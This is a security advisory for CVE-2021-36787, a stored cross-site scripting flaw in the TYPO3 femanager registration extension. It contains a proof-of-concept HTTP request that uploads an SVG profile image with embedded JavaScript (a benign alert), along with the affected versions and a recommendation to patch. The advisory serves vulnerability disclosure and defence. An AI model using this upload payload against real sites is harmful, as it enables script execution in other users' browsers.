Vendor description
"Femanager is an extension for a TYPO3 Frontend-User Registration. Maybe you know sr_feuser_register but you want to use a more modern extension, give femanager a try. This extension basicly brings an easy-to-use frontend-user-registration with a profile manager to your system. In addition femanager was developed to be very flexible and to bring a lot of features out of the box."
Source: docs.typo3.org/p/in2code/femanager/master/en-us/Introduction/Index.html
Business recommendation
The vendor provides a patched version which should be installed immediately.
Vulnerability overview/description
1) Stored Cross-Site Scripting (CVE-2021-36787)
The default configuration of the upload function within the registration workflow of the femanager to create new frontend users allows an upload of various file types as profile image.
An attacker can use the upload function in the registration process to upload SVG files with embedded JavaScript code that is stored on the webserver. Depending on the developed application, the malicious JavaScript code is executed in the context of other users in various scenarios, e.g. when a user visits the profile of the attacker's frontend user.
Proof of concept
1) Stored Cross-Site Scripting (CVE-2021-36787)
The vulnerability can be triggered if the extension's image upload function is used.
The following proof of concept shows the crafted HTTP Request that was used to create a user with embedded JavaScript code in the SVG file. This SVG file is used as profile image, which leads to execution every time the image is rendered.
HTTP Request:
POST /login/registrieren?tx_femanager_pi1%5Baction%5D=create&tx_femanager_pi1%5Bcontroller%5D=New&cHash=XXX HTTP/1.1
Host: <IP>
Content-Type: multipart/form-data; boundary=---------------------------222617292530868691744105633415
Connection: close
-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[__referrer][@extension]"
Femanager
-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[__referrer][@vendor]"
In2code
[...]
-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[user][username]"
XXX
-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[user][password]"
XXX
-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[password_repeat]"
XXX
[...]
-----------------------------222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[user][image][0]"; filename="xss_file.svg"
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert("XSS WORKS")</script>
</svg>
-----------------------------222617292530868691744105633415
Tested versions
The following version has been tested:
- femanager: 5.4.2 (TYPO3: 9.5.27)
The vendor confirmed that the following versions are also affected by the vulnerability:
- femanager: 6.0.0 - 6.3.0 and 5.5.0 and below